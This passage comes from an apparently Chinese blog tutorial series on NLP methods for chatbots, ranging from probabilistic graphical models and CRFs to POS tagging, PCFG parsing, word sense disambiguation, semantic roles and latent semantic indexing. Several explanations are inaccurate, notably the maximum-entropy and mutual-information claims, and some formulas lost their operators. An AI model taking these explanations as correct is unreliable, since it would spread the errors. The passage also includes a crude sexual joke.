      按照前面说的,提到贝叶斯就是条件概率,所以也就是生成式模型,也就是有向图模型。

      为了说明什么是贝叶斯网络,我从网上盗取一个图

      image

      图中每一个点都可能未True或False,他们的概率是已知的,比如x7的概率需要有x4和x5来决定,可能是这样的

      x4x5TF
      TT0.50.5
      TF0.40.6
      FT0.70.3
      FF0.20.8

      那么可以通过上面的贝叶斯网络来估计如果x1为False情况下x6为True的概率:

      P(x6=T|x1=F)=P(x6=T,x1=F)/P(x1=F)

      这个值继续推导,最终可以由每个节点的概率数据计算求得,这么说来,贝叶斯网络模型可以通过样本学习来估计每个节点的概率,从而达到可以预测各种问题的结果

      贝叶斯网络能够在已知有限的、不完整的、不确定信息条件下进行学习推理,所以广泛应用在故障诊断、维修决策、汉语自动分词、词义消歧等问题上

      马尔可夫模型和隐马尔可夫模型

      按照前面说的,提到马尔可夫就是一个值跟前面n个值有关,所以也就是条件概率,也就是生成式模型,也就是有向图模型。

      继续盗图

      音乐的每一个音不是随意作出来的,是根据曲子的风格、和弦、大小调式等来决定的,但是因为可选的音高有多种,也就出现了无数美妙的旋律。因为有约束,所以其实可以说新的音和前面的n个音有关,这其实是一个马尔可夫模型可以解释的事情。

      马尔可夫模型还可以看成是一个关于时间t的状态转换过程,也就是随机的有限状态机,那么状态序列的概率可以通过计算形成该序列所有状态之间转移弧上的概率乘积得出。

      如果说这个马尔可夫是两阶的,那么转移概率可能是这个样子:

      当然后面的概率只是举了个例子,这种情况由前两列决定的第三列任意值都会有一个概率

      我们通过训练样本来得出每一个概率值,这样就可以通过训练出的模型来根据前两个音是什么而预测下一个音是1、2、3、4、5任意一个的概率是多少了,也就是可以自动作曲了,当然这样做出的曲子肯定是一个无线循环的旋律,你猜猜为什么。

      那么我们再说隐马尔可夫模型,这里的“隐”指的是其中某一阶的信息我们不知道,就像是我们知道人的祖先是三叶虫,但是由三叶虫经历了怎样的演变过程才演变到人的样子我们是不知道的,我们只能通过化石资料了解分布信息,如果这类资料很多,那么就可以利用隐马尔可夫模型来建模,因为缺少的信息较多,所以这一模型的算法比较复杂,比如前向算法、后向算法之类晦涩的东西就不说了。相对于原理,我们更关注它的应用,隐马尔可夫模型广泛应用在词性标注、中文分词等,为什么能用在这两个应用上呢?仔细想一下能看得出来,比如中文分词,最初你是不知道怎么分词的,前面的词分出来了,你才之后后面的边界在哪里,但是当你后面做了分词之后还要验证前面的分词是否正确,这样前后有依赖关系,而不确定中间状态的情况最适合用隐马尔可夫模型来解释

      最大熵模型

      按照前面所说的,看到熵那么一定会用到H(p)=-∑plogp,怎么理解最大熵模型呢?我们的最终目的是想知道在某一个信息条件B下,得出某种可能的结果A的最大的概率,也就是条件概率P(A|B)最大的候选结果。因为最大熵就是不确定性最大,其实也就是条件概率最大,所以求最大的条件概率等同于求最大熵,而我们这里的熵其实是H(p)=H(A|B)=-∑p(b)p(a|b)log(p(a|b)),为了使用训练数据做估计,这里的p(a|b)可以通过训练数据的某些特征来估计,比如这些特征是fi(a,b),那么做模型训练的过程就编程了训练∑λf(a,b)中的λ参数的过程,至此就有些像机器学习的线性回归了,该怎么做就清晰了。所以其实最大熵模型就是利用熵的原理和熵的公式来用另外一种形式来描述具有概率规律的现实的

      条件随机场

      场表示取值范围,随机场表示随机变量有取值范围,也就是每个随机变量有固定的取值,条件指的是随机变量的取值由一定的条件概率决定,而这里的条件来自于我们有一些观察值,这是它区别于其他随机场的地方。条件随机场也可以看做是一个无向图模型,它特殊就特殊在给定观察序列X时某个特定的标记序列Y的概率是一个指数函数exp(∑λt+∑μs),其中t是转移函数,s是状态函数,我们需要训练的是λ和μ。条件随机场主要应用在标注和切分有序数据上,尤其在自然语言处理、生物信息学、机器视觉、网络智能等方面

      总结一下,概率图模型包括多种结合概率论和图论的模型,根据特定场景特定需求选择不同的模型,每种模型的参数都需要大量样本训练得出,每种模型都是用来根据训练出来的概率做最优结论选择的,比如根据训练出来的模型对句子做最正确的词性标注、实体标注、分词序列等,本文只是从理念上的解释和总结,真的用到某一种模型还是需要深入研究原理和公式推导以及编程实现,那就不是本文这种小篇幅能够解释的完的了,等我们后面要遇到必须用某一种模型来实现时再狠狠地深入一下。

      大话自然语言处理中的囊中取物

      大数据风靡的今天,不从里面挖出点有用的信息都不好意思见人,人工智能号称跨过奇点,统霸世界,从一句话里都识别不出一个命名实体?不会的,让我们大话自然语言处理的囊中取物,看看怎么样能让计算机像人一样看出一句话里哪个像人、哪个像物

      话说天下大事,分久必合,合久必分。

      之前谈到中文分词把文本切分成一个一个词语,现在我们要反过来,把该拼一起的词再拼到一起,找到一个命名实体,比如:“亚太经合组织”

      条件随机场的用武之地

      上回书说到,概率图模型中的条件随机场适用于在一定观测值条件下决定的随机变量有有限个取值的情况,它特殊就特殊在给定观察序列X时某个特定的标记序列Y的概率是一个指数函数exp(∑λt+∑μs),这也正符合最大熵原理。基于条件随机场的命名实体识别方法属于有监督的学习方法,需要利用已经标注好的大规模语料库进行训练,那么已经标注好的语料里面有什么样的特征能够让模型得以学习呢?

      谈命名实体的放射性

      为什么说命名实体是有放射性的呢?举个栗子:“中国积极参与亚太经合组织的活动”,这里面的“亚太经合组织”是一个命名实体,定睛一瞧,这个实体着实不凡啊,有“组织”两个字,这么说来这个实体是一种组织或机构,记住,下一次当你看到“组织”的时候和前面几个字组成的一定是一个命名实体。继续观察,在它之前辐射出了“参与”一次,经过大规模语料训练后能发现,才“参与”后面有较大概率跟着一个命名实体。继续观察,在它之后有“的活动”,那么说明前面很可能是一个组织者,组织者多半是一个命名实体。这就是基于条件随机场做命名实体识别的奥秘,这就是命名实体的放射性

      特征模板

      前面讲了放射性,那么设计特征模板就比较容易了,我们采用当前位置的前后n个位置上的字/词/字母/数字/标点等作为特征,因为是基于已经标注好的语料,所以这些特征是什么样的词性、词形都是已知的。

      特征模板的选择是和具体我们要识别的实体类别有关系的,识别人名和识别机构名用的特征模板是不一样的,因为他们的特点就不一样,事实上识别中文人名和识别英文人名用的特征模板也是不一样的,因为他们的特点就不一样

      且说命名实体

      前面讲了一揽子原理,回过头来讲讲命名实体是什么,命名实体包括:人名(政治家、艺人等)、地名(城市、州、国家、建筑等)、组织机构名、时间、数字、专有名词(电影名、书名、项目名、电话号码等)、……。其实领域很多,不同人需求不一样,关注的范围也不一样。总之不外乎命名性指称、名词性指称和代词性指称

      自古英雄周围总有谋士

      基于条件随机场的命名实体方法虽好,但如何利用好还是需要各路谋士献计献策。有的人提出通过词形上下文训练模型,也就是给定词形上下文语境中产生实体的概率;有的人提出通过词性上下文训练模型,也就是给定词性上下文语境中产生实体的概率;有的人提出通过给定实体的词形串作为实体的概率;有的人提出通过给定实体的词性串作为实体的概率;当大家发现这四点总有不足时,有谋士提出:把四个结合起来!这真是:英雄代有人才出,能摆几出摆几出啊

      语料训练那些事儿

      语料训练那些事儿,且看我机器学习教程相关文章《机器学习精简入门教程》,预知后事如何,下回我也不分解了

      让机器做词性自动标注的具体方法

      分词、命名实体识别和词性标注这三项技术如果达不到很高的水平,是难以建立起高性能的自然语言处理系统,也就难以实现高质量的聊天机器人,而词性是帮助计算机理解语言含义的关键,本节来介绍一些词性标注的具体方法

      何为词性

      常说的词性包括:名、动、形、数、量、代、副、介、连、助、叹、拟声。但自然语言处理中要分辨的词性要更多更精细,比如:区别词、方位词、成语、习用语、机构团体、时间词等,多达100多种。

      汉语词性标注最大的困难是“兼类”,也就是一个词在不同语境中有不同的词性,而且很难从形式上识别。

      词性标注过程

      为了解决词性标注无法达到100%准确的问题,词性标注一般要经过“标注”和“校验”两个过程,第一步“标注”根据规则或统计的方法做词性标注,第二步“校验”通过一致性检查和自动校对等方法来修正。

      词性标注的具体方法

      词性标注具体方法包括:基于统计模型的方法、基于规则的方法和两者结合的方法。下面我们分别来介绍。

      基于统计模型的词性标注方法

      提到基于统计模型,势必意味着我们要利用大量已经标注好的语料库来做训练,同时要先选择一个合适的训练用的数学模型,《自己动手做聊天机器人 十五-一篇文章读懂拿了图灵奖和诺贝尔奖的概率图模型》中我们介绍了概率图模型中的隐马尔科夫模型(HMM)比较适合词性标注这种基于观察序列来做标注的情形。语言模型选择好了,下面要做的就是基于语料库来训练模型参数,那么我们模型参数初值如何设置呢?这里面就有技巧了

      隐马尔可夫模型参数初始化的技巧

      模型参数初始化是在我们尚未利用语料库之前用最小的成本和最接近最优解的目标来设定初值。HMM是一种基于条件概率的生成式模型,所以模型参数是生成概率,那么我们不妨就假设每个词的生成概率就是它所有可能的词性个数的倒数,这个是计算最简单又最有可能接近最优解的生成概率了。每个词的所有可能的词性是我们已经有的词表里标记好的,这个词表的生成方法就比较简单了,我们不是有已经标注好的语料库嘛,很好统计。那么如果某个词在词表里没有呢?这时我们可以把它的生成概率初值设置为0。这就是隐马尔可夫模型参数初始化的技巧,总之原则就是用最小的成本和最接近最优解的目标来设定初值。一旦完成初始值设定后就可以利用前向后向算法进行训练了。

      基于规则的词性标注方法

      规则就是我们既定好一批搭配关系和上下文语境的规则,判断实际语境符合哪一种则按照规则来标注词性。这种方法比较古老,适合于既有规则,对于兼词的词性识别效果较好,但不适合于如今网络新词层出不穷、网络用语新规则的情况。于是乎,有人开始研究通过机器学习来自动提取规则,怎么提取呢?不是随便给一堆语料,它直接来生成规则,而是根据初始标注器标注出来的结果和人工标注的结果的差距,来生成一种修正标注的转换规则,这是一种错误驱动的学习方法。基于规则的方法还有一个好处在于:经过人工校总结出的大量有用信息可以补充和调整规则库,这是统计方法做不到的。

      统计方法和规则方法相结合的词性标注方法

      统计方法覆盖面比较广,新词老词通吃,常规非常规通吃,但对兼词、歧义等总是用经验判断,效果不好。规则方法对兼词、歧义识别比较擅长,但是规则总是覆盖不全。因此两者结合再好不过,先通过规则排歧,再通过统计标注,最后经过校对,可以得到正确的标注结果。在两者结合的词性标注方法中,有一种思路可以充分发挥两者优势,避免劣势,就是首选统计方法标注,同时计算计算它的置信度或错误率,这样来判断是否结果是否可疑,在可疑情况下采用规则方法来进行歧义消解,这样达到最佳效果。

      词性标注的校验

      做完词性标注并没有结束,需要经过校验来确定正确性以及修正结果。

      第一种校验方法就是检查词性标注的一致性。一致性指的是在所有标注的结果中,具有相同语境下同一个词的标注是否都相同,那么是什么原因导致的这种不一致呢?一种情况就是这类词就是兼类词,可能被标记为不同词性。另一种情况是非兼类词,但是由于人工校验或者其他原因导致标记为不同词性。达到100%的一致性是不可能的,所以我们需要保证一致性处于某个范围内,由于词数目较多,词性较多,一致性指标无法通过某一种计算公式来求得,因此可以基于聚类和分类的方法,根据欧式距离来定义一致性指标,并设定一个阈值,保证一致性在阈值范围内。

      第二种校验方法就是词性标注的自动校对。自动校对顾名思义就是不需要人参与,直接找出错误的标注并修正,这种方法更适用于一个词的词性标注通篇全错的情况,因为这种情况基于数据挖掘和规则学习方法来做判断会相对比较准确。通过大规模训练语料来生成词性校对决策表,然后根据这个决策表来找通篇全错的词性标注并做自动修正。

      总结

      词性标注的方法主要有基于统计和基于规则的方法,另外还包括后期校验的过程。词性标注是帮助计算机理解语言含义的关键,有了词性标注,我们才可以进一步确定句法和语义,才有可能让机器理解语言的含义,才有可能实现聊天机器人的梦想

      神奇算法之句法分析树的生成

      把一句话按照句法逻辑组织成一棵树,由人来做这件事是可行的,但是由机器来实现是不可思议的,然而算法世界就是这么神奇,把一个十分复杂的过程抽象成仅仅几步操作,甚至不足10行代码,就能让机器完成需要耗费人脑几十亿脑细胞的工作,本文我们来见识一下神奇的句法分析树生成算法

      句法分析

      先来解释一下句法分析。句法分析分为句法结构分析和依存关系分析。

      句法结构分析也就是短语结构分析,比如提取出句子中的名次短语、动词短语等,最关键的是人可以通过经验来判断的短语结构,那么怎么由机器来判断呢?

      (有关依存关系分析的内容,具体可以看《自己动手做聊天机器人 十二-教你如何利用强大的中文语言技术平台做依存句法和语义依存分析》)

      句法分析树

      样子如下:

      1
      2
      3
      -吃(v)-
      | |
      我(rr) 肉(n)

      句法结构分析基本方法

      分为基于规则的分析方法和基于统计的分析方法。基于规则的方法存在很多局限性,所以我们采取基于统计的方法,目前最成功的是基于概率上下文无关文法(PCFG)。基于PCFG分析需要有如下几个要素:终结符集合、非终结符集合、规则集。

      相对于先叙述理论再举实例的传统讲解方法,我更倾向于先给你展示一个简单的例子,先感受一下计算过程,然后再叙述理论,这样会更有趣。

      例子是这样的:我们的终结符集合是:∑={我, 吃, 肉,……},这个集合表示这三个字可以作为句法分析树的叶子节点,当然这个集合里还有很多很多的词

      我们的非终结符集合是:N={S, VP, ……},这个集合表示树的非页子节点,也就是连接多个节点表达某种关系的节点,这个集合里也是有很多元素

      我们的规则集:R={

      NN->我 0.5

      Vt->吃 1.0

      NN->肉 0.5

      VP->Vt NN 1.0

      S->NN VP 1.0

      ……

      }

      这里的句法规则符号可以参考词性标注,后面一列是模型训练出来的概率值,也就是在一个固定句法规则中NN的位置是“我”的概率是0.5,NN推出“肉”的概率是0.5,0.5+0.5=1,也就是左部相同的概率和一定是1。不知道你是否理解了这个规则的内涵

      再换一种方法解释一下,有一种句法规则是:

      1
      2
      3
      4
      5
      S——|
      | |
      NN VP
      |——|
      Vt NN

      其中NN的位置可能是“我”,也可能是“肉”,是“我”的概率是0.5,是“肉”的概率是0.5,两个概率和必为1。其中Vt的位置一定是“吃”,也就是概率是1.0……。这样一说是不是就理解了?

      规则集里实际上还有很多规则,只是列举出会用到的几个

      以上的∑、N、R都是经过机器学习训练出来的数据集及概率,具体训练方法下面我们会讲到

      那么如何根据以上的几个要素来生成句法分析树呢?

      (1)“我”

      词性是NN,推导概率是0.5,树的路径是“我”

      (2)“吃”

      词性是Vt,推导概率是1.0,树的路径是“吃”

      (3)“肉”

      词性是NN,概率是0.5,和Vt组合符合VP规则,推导概率是0.51.01.0=0.5,树的路径是“吃肉”

      NN和VP组合符合S规则,推导概率是0.50.51.0=0.25,树的路径是“我吃肉”

      所以最终的树结构是:

      1
      2
      3
      4
      5
      6
      S——|
      | |
      NN VP
      我 |——|
      Vt NN
      吃 肉

      上面的例子是比较简单的,实际的句子会更复杂,但是都是通过这样的动态规划算法完成的

      提到动态规划算法,就少不了“选择”的过程,一句话的句法结构树可能有多种,我们只选择概率最大的那一种作为句子的最佳结构,这也是“基于概率”上下文无关文法的名字起源。

      上面的计算过程总结起来就是:设W={ω1ω2ω3……}表示一个句子,其中的ω表示一个词(word),利用动态规划算法计算非终结符A推导出W中子串ωiωi+1ωi+2……ωj的概率,假设概率为αij(A),那么有如下递归公式:

      αij(A)=P(A->ωi)

      αij(A)=∑∑P(A->BC)αik(B)α(k+1)j(C)

      以上两个式子好好理解一下其实就是上面“我吃肉”的计算过程

      以上过程理解了之后你一定会问,这里面最关键的的非终结符、终结符以及规则集是怎么得来的,概率又是怎么确定的?下面我们就来说明

      句法规则提取方法与PCFG的概率参数估计

      这部分就是机器学习的知识了,有关机器学习可以参考《机器学习教程》

      首先我们需要大量的树库,也就是训练数据。然后我们把树库中的句法规则提取出来生成我们想要的结构形式,并进行合并、归纳等处理,最终得到上面∑、N、R的样子。其中的概率参数计算方法是这样的:

      先给定参数为一个随机初始值,然后采用EM迭代算法,不断训练数据,并计算每条规则使用次数作为最大似然计算得到概率的估值,这样不断迭代更新概率,最终得出的概率可以认为是符合最大似然估计的精确值。

      总结一下

      句法分析树生成算法是基于统计学习的原理,根据大量标注的语料库(树库),通过机器学习算法得出非终结符、终结符、规则集及其概率参数,然后利用动态规划算法生成每一句话的句法分析树,在句法分析树生成过程中如果遇到多种树结构,选择概率最大的那一种作为最佳句子结构

      机器人是怎么理解“日后再说”的

      日后再说这个成语到了当代可以说含义十分深刻,你懂的,但是如何让计算机懂得可能有两种含义的一个词到底是想表达哪个含义呢?这在自然语言处理中叫做词义消歧,从本节开始我们从基本的结构分析跨入语义分析,开始让计算机对语言做深层次的理解

      词义消歧

      词义消歧是句子和篇章语义理解的基础,是必须解决的问题。任何一种语言都有大量具有多种含义的词汇,中文的“日”,英文的“bank”,法语的“prendre”……。

      词义消歧可以通过机器学习的方法来解决。谈到机器学习就会分成有监督和无监督的机器学习。词义消歧有监督的机器学习方法也就是分类算法,即判断词义所属的分类。词义消歧无监督的机器学习方法也就是聚类算法,把词义聚成多类,每一类是一种含义。

      有监督的词义消歧方法

      基于互信息的词义消歧方法

      这个方法的名字不好理解,但是原理却非常简单:用两种语言对照着看,比如:中文“打人”对应英文“beat a man”,而中文“打酱油”对应英文“buy some sauce”。这样就知道当上下文语境里有“人”的时候“打”的含义是beat,当上下文语境里有“酱油”的时候“打”的含义是buy。按照这种思路,基于大量中英文对照的语料库训练出来的模型就可以用来做词义消歧了,这种方法就叫做基于“互信息”的词义消歧方法。讲到“互信息”还要说一下它的起源,它来源于信息论,表达的是一个随机变量中包含另一个随机变量的信息量(也就是英文信息中包含中文信息的信息量),假设两个随机变量X、Y的概率分别是p(x), p(y),它们的联合分布概率是p(x,y),那么互信息计算公式是:

      1
      I(X; Y) = ∑∑p(x,y)log(p(x,y)/(p(x)p(y)))

      以上公式是怎么推导出来的呢?比较简单,“互信息”可以理解为一个随机变量由于已知另一个随机变量而减少的不确定性(也就是理解中文时由于已知了英文的含义而让中文理解更确定了),因为“不确定性”就是熵所表达的含义,所以:

      1
      I(X; Y) = H(X) - H(X|Y)

      等式后面经过不断推导就可以得出上面的公式,对具体推导过程感兴趣可以百度一下。

      那么我们在对语料不断迭代训练过程中I(X; Y)是不断减小的,算法终止的条件就是I(X; Y)不再减小。

      基于互信息的词义消歧方法自然对机器翻译系统的效果是最好的,但它的缺点是:双语语料有限,多种语言能识别出歧义的情况也是有限的(比如中英文同一个词都有歧义就不行了)。

      基于贝叶斯分类器的消歧方法

      提到贝叶斯那么一定少不了条件概率,这里的条件指的就是上下文语境这个条件,任何多义词的含义都是跟上下文语境相关的。假设语境(context)记作c,语义(semantic)记作s,多义词(word)记作w,那么我要计算的就是多义词w在语境c下具有语义s的概率,即:

      p(s|c)

      那么根据贝叶斯公式:

      p(s|c) = p(c|s)p(s)/p(c)

      我要计算的就是p(s|c)中s取某一个语义的最大概率,因为p(c)是既定的,所以只考虑分子的最大值:

      s的估计=max(p(c|s)p(s))

      因为语境c在自然语言处理中必须通过词来表达,也就是由多个v(词)组成,那么也就是计算:

      max(p(s)∏p(v|s))

      下面就是训练的过程了:

      p(s)表达的是多义词w的某个语义s的概率,可以统计大量语料通过最大似然估计求得:

      p(s) = N(s)/N(w)

      p(v|s)表达的是多义词w的某个语义s的条件下出现词v的概率,可以统计大量语料通过最大似然估计求得:

      p(v|s) = N(v, s)/N(s)

      训练出p(s)和p(v|s)之后我们对一个多义词w消歧的过程就是计算(p(c|s)p(s))的最大概率的过程

      无监督的词义消歧方法

      完全无监督的词义消歧是不可能的,因为没有标注是无法定义是什么词义的,但是可以通过无监督的方法来做词义辨识。无监督的词义辨识其实也是一种贝叶斯分类器,和上面讲到的贝叶斯分类器消歧方法不同在于:这里的参数估计不是基于有标注的训练预料,而是先随机初始化参数p(v|s),然后根据EM算法重新估计这个概率值,也就是对w的每一个上下文c计算p(c|s),这样可以得到真实数据的似然值,回过来再重新估计p(v|s),重新计算似然值,这样不断迭代不断更新模型参数,最终得到分类模型,可以对词进行分类,那么有歧义的词在不同语境中会被分到不同的类别里。

      仔细思考一下这种方法,其实是基于单语言的上下文向量的,那么我们进一步思考下一话题,如果一个新的语境没有训练模型中一样的向量怎么来识别语义?

      这里就涉及到向量相似性的概念了,我们可以通过计算两个向量之间夹角余弦值来比较相似性,即:

      cos(a,b) = ∑ab/sqrt(∑a^2∑b^2)

      机器人是怎么理解“日后再说”的

      回到最初的话题,怎么让机器人理解“日后再说”,这本质上是一个词义消歧的问题,假设我们利用无监督的方法来辨识这个词义,那么就让机器人“阅读”大量语料进行“学习”,生成语义辨识模型,这样当它听到这样一则对话时:

      有一位老嫖客去找小姐,小姐问他什么时候结账啊。嫖客说:“钱的事情日后再说。”就开始了,完事后,小姐对嫖客说:“给钱吧。”嫖客懵了,说:“不是说日后再说吗?”小姐说:“是啊,你现在不是已经日后了吗?”

      辨识了这里的“日后再说”的词义后,它会心的笑了

      语义角色标注的基本方法

      浅层语义标注是行之有效的语言分析方法,基于语义角色的浅层分析方法可以描述句子中语义角色之间的关系,是语义分析的重要方法,也是篇章分析的基础,本节介绍基于机器学习的语义角色标注方法

      语义角色

      举个栗子:“我昨天吃了一块肉”,按照常规理解“我吃肉”应该是句子的核心,但是对于机器来说“我吃肉”实际上已经丢失了非常多的重要信息,没有了时间,没有了数量。为了让机器记录并提取出这些重要信息,句子的核心并不是“我吃肉”,而是以谓词“吃”为核心的全部信息。

      “吃”是谓词,“我”是施事者,“肉”是受事者,“昨天”是事情发生的时间,“一块”是数量。语义角色标注就是要分析出这一些角色信息,从而可以让计算机提取出重要的结构化信息,来“理解”语言的含义。

      语义角色标注的基本方法

      语义角色标注需要依赖句法分析的结果进行,因为句法分析包括短语结构分析、浅层句法分析、依存关系分析,所以语义角色标注也分为:基于短语结构树的语义角色标注方法、基于浅层句法分析结果的语义角色标注方法、基于依存句法分析结果的语义角色标注方法。但无论哪种方法,过程都是:

      句法分析->候选论元剪除->论元识别->论元标注->语义角色标注结果

      其中论元剪除就是在较多候选项中去掉肯定不是论元的部分

      其中论元识别是一个二值分类问题,即:是论元和不是论元

      其中论元标注是一个多值分类问题

      下面分别针对三种方法分别说明这几个过程的具体方法

      基于短语结构树的语义角色标注方法

      短语结构树是这样的结构:

      1
      2
      3
      4
      5
      6
      S——|
      | |
      NN VP
      我 |——|
      Vt NN
      吃 肉

      短语结构树里面已经表达了一种结构关系,因此语义角色标注的过程就是依赖于这个结构关系来设计的一种复杂策略,策略的内容随着语言结构的复杂而复杂化,因此我们举几个简单的策略来说明。

      首先我们分析论元剪除的策略:

      因为语义角色是以谓词为中心的,因此在短语结构树中我们也以谓词所在的节点为中心,先平行分析,比如这里的“吃”是谓词,和他并列的是“肉”,明显“肉”是受事者,那么设计什么样的策略能使得它成为候选论元呢?我们知道如果“肉”存在一个短语结构的话,那么一定会多处一个树分支,那么“肉”和“吃”一定不会在树的同一层,因此我们设计这样的策略来保证“肉”被选为候选论元:如果当前节点的兄弟节点和当前节点不是句法结构的并列关系,那么将它作为候选论元。当然还有其他策略不需要记得很清楚,现用现查就行了,但它的精髓就是基于短语结构树的结构特点来设计策略的。

      然后就是论元识别过程了。论元识别是一个二值分类问题,因此一定是基于标注的语料库做机器学习的,机器学习的二值分类方法都是固定的,唯一的区别就是特征的设计,这里面一般设计如下特征效果比较好:谓词本身、短语结构树路径、短语类型、论元在谓词的位置、谓词语态、论元中心词、从属类别、论元第一个词和最后一个词、组合特征。

      论元识别之后就是论元标注过程了。这又是一个利用机器学习的多值分类器进行的,具体方法不再赘述。

      基于依存句法分析结果和基于语块的语义角色标注方法

      这两种语义角色标注方法和基于短语结构树的语义角色标注方法的主要区别在于论元剪除的过程,原因就是他们基于的句法结构不同。

      基于依存句法分析结果的语义角色标注方法会基于依存句法直接提取出谓词-论元关系,这和依存关系的表述是很接近的,因此剪除策略的设计也就比较简单:以谓词作为当前节点,当前节点所有子节点都是候选论元,将当前节点的父节点作为当前节点重复以上过程直至到根节点为止。

      基于依存句法分析结果的语义角色标注方法中的论元识别算法的特征设计也稍有不同,多了有关父子节点的一些特征。

      有了以上几种语义角色标注方法一定会各有优缺点,因此就有人想到了多种方法相融合的方法,融合的方式可以是:加权求和、插值……,最终效果肯定是更好,就不多说了。

      多说几句

      语义角色标注当前还是不是非常有效,原因有诸多方面,比如:依赖于句法分析的准确性、领域适应能力差。因此不断有新方法来解决这些问题,比如说可以利用双语平行语料来弥补准确性的问题,中文不行英文来,英文不行法语来,反正多多益善,这确实有助于改进效果,但是成本提高了许多。语义角色标注还有一段相当长的路要走,希望学术界研究能不断开花结果吧

      比TF-IDF更好的隐含语义索引模型是个什么鬼

      我曾经的一篇文章曾说到0字节存储海量语料资源,那么从海量语料资源中找寻信息需要依赖于信息检索的方法,信息检索无论是谷歌还是百度都离不开TF-IDF算法,但TF-IDF是万能的吗?并不是,它简单有效但缺乏语义特征,本节介绍比TF-IDF还牛逼的含有语义特征的信息检索方法

      TF-IDF

      TF(term frequency),表示一个词在一个文档中出现的频率;IDF(inverse document frequency),表示一个词出现在多少个文档中。

      它的思路是这样的:同一个词在短文档中出现的次数和在长文档中出现的次数一样多时,对于短文档价值更大;一个出现概率很低的词一旦出现在文档中,其价值应该大于其他普遍出现的词。

      这在信息检索领域的向量模型中做相似度计算非常有效,屡试不爽,曾经是google老大哥发家的必杀技。但是在开发聊天机器人这个事情上看到了它的软肋,那就是它只是考虑独立的词上的事情,并没有任何语义信息在里面,因此我们需要选择加入了语义特征的更有效的信息检索模型。

      隐含语义索引模型

      在TF-IDF模型中,所有词构成一个高维的语义空间,每个文档在这个空间中被映射为一个点,这种方法维数一般比较高而且每个词作为一维割裂了词与词之间的关系。所以为了解决这个问题,我们要把词和文档同等对待,构造一个维数不高的语义空间,每个词和每个文档都是被映射到这个空间中的一个点。用数学来表示这个思想就是说,我们考察的概率即包括文档的概率,也包括词的概率,以及他们的联合概率。

      为了加入语义方面的信息,我们设计一个假想的隐含类包括在文档和词之间,具体思路是这样的:

      (1)选择一个文档的概率是p(d);

      (2)找到一个隐含类的概率是p(z|d);

      (3)生成一个词w的概率为p(w|z);

      以上是假设的条件概率,我们根据观测数据能估计出来的是p(d, w)联合概率,这里面的z是一个隐含变量,表达的是一种语义特征。那么我们要做的就是利用p(d, w)来估计p(d)、p(z|d)和p(w|z),最终根据p(d)、p(z|d)和p(w|z)来求得更精确的p(w, d),即词与文档之间的相关度。

      为了做更精确的估计,设计优化的目标函数是对数似然函数:

      L=∑∑n(d, w) log P(d, w)

      那么如何来通过机器学习训练这些概率呢?首先我们知道:

      p(d, w) = p(d) × p(w|d)

      p(w|d) = ∑p(w|z)p(z|d)

      同时又有:

      p(z|d) = p(z)p(d|z)/∑p(z)p(d|z)

      那么

      p(d, w) =p(d)×∑p(w|z) p(z)p(d|z)/∑p(z)p(d|z)=∑p(z)×p(w|z)×p(d|z)

      下面我们采取EM算法,EM算法的精髓就是按照最大似然的原理,先随便拍一个分布参数,让每个人都根据分布归类到某一部分,然后根据这些归类来重新统计数目,按照最大似然估计分布参数,然后再重新归类、调参、估计、归类、调参、估计,最终得出最优解

      那么我们要把每一个训练数据做归类,即p(z|d,w),那么这个概率值怎么计算呢?

      我们先拍一个p(z)、p(d|z)、p(w|z)

      然后根据

      p(z|d,w)=p(z)p(d|z)p(w|z)/∑p(z)p(d|z)p(w|z),其中分子是一个z,分母是所有的z的和

      这样计算出来的值是p(z|d,w)的最大似然估计的概率估计(这是E过程)

      然后根据这个估计来对每一个训练样本做归类

      根据归类好的数据统计出n(d,w)

      然后我再根据以下公式来更新参数

      p(z) = 1/R ∑n(d,w)p(z|d,w)

      p(d|z)=∑n(d,w)p(z|d,w) / ∑n(d,w)p(z|d,w),其中分子是一个d的和,分母是所有的d的和,这样计算出来的值是p(d|z)的最大似然估计

      p(w|z)=∑n(d,w)p(z|d,w) / ∑n(d,w)p(z|d,w),其中分子是一个w的和,分母是所有的w的和,这样计算出来的值是p(w|z)的最大似然估计

      最后重新计算p(z|d,w):

      p(z|d,w)=p(z)p(d|z)p(w|z)/∑p(z)p(d|z)p(w|z)

      这是M的过程

      不断重复上面EM的过程使得对数似然函数最大:

      L=∑∑n(d, w) log P(d, w)

      通过以上迭代就能得出最终的p(w, d),即词与文档之间的相关度,后面就是利用相关度做检索的过程了

      为了得到词词之间的相关度,我们用p(w, d)乘以它的转置,即

      p(w,w) = p(w,d)×trans(p(w,d))

      当用户查询query的关键词构成词向量Wq, 而文档d表示成词向量Wd,那么query和文档d的相关度就是:

      R(query, d) = Wq×p(w,w)×Wd

      这样把所有文档算出来的相关度从大到小排序就是搜索的排序结果

      总结

      综上就是隐含语义索引模型的内容,相比TF-IDF来说它加进了语义方面的信息、考虑了词与词之间的关系,是根据语义做信息检索的方法,更适合于研发聊天机器人做语料训练和分析,而TF-IDF更适合于完全基于独立的词的信息检索,更适合于纯文本搜索引擎

      神奇算法之人工神经网络

      深度学习是机器学习中较为流行的一种,而深度学习的基础是人工神经网络,那么人工神经网络的功能是不是像它的名字一样神奇呢?答案是肯定的,让我们一起见证一下这一神奇算法

      人工神经网络

      人工神经网络是借鉴了生物神经网络的工作原理形成的一种数学模型,有关人工神经网络的原理、公式推导以及训练过程请见我的文章《机器学习教程 十二-神经网络模型的原理》

      神奇用法之一

      我们这样来设计我们的神经网络:由n个输入特征得出与输入特征几乎相同的n个结果,这样训练出的隐藏层可以得到意想不到的信息。

      比如,在信息检索领域,我们需要通过模型训练来得出合理的排序模型,那么输入的特征可能有:文档质量、文档点击历史、文档前链数目、文档锚文本信息……,为了能找出这些特征中隐藏的信息,我们把隐藏层的神经元数目设置的少于输入特征的数目,经过大量样本的训练出能还原原始特征的模型,这样相当于我们用少于输入特征数目的信息还原出了全部特征,表面上是一种压缩,实际上通过这种方式就可以发现某些特征之间存在隐含的相关性,或者有某种特殊的关系。

      同样的,我们还可以让隐藏层中的神经元数目多余输入特征的数目,这样经过训练得出的模型还可以展示出特征之间某种细节上的关联,比如我们对图像识别做这样的模型训练,在得出的隐藏层中能展示出多种特征之间的细节信息,如鼻子一定在嘴和眼睛中间。

      这种让输出和输入一致的用法就是传说中的自编码算法。

      神奇用法之二

      人工神经网络模型通过多层神经元结构建立而成,每一层可以抽象为一种思维过程,经过多层思考,最终得出结论。举一个实际的例子:识别美女图片

      按照人的思维过程,识别美女图片要经过这样的判断:1)图片类别(人物、风景……);2)图片人物性别(男、女、其他……);3)相貌如何(美女、恐龙、5分……)

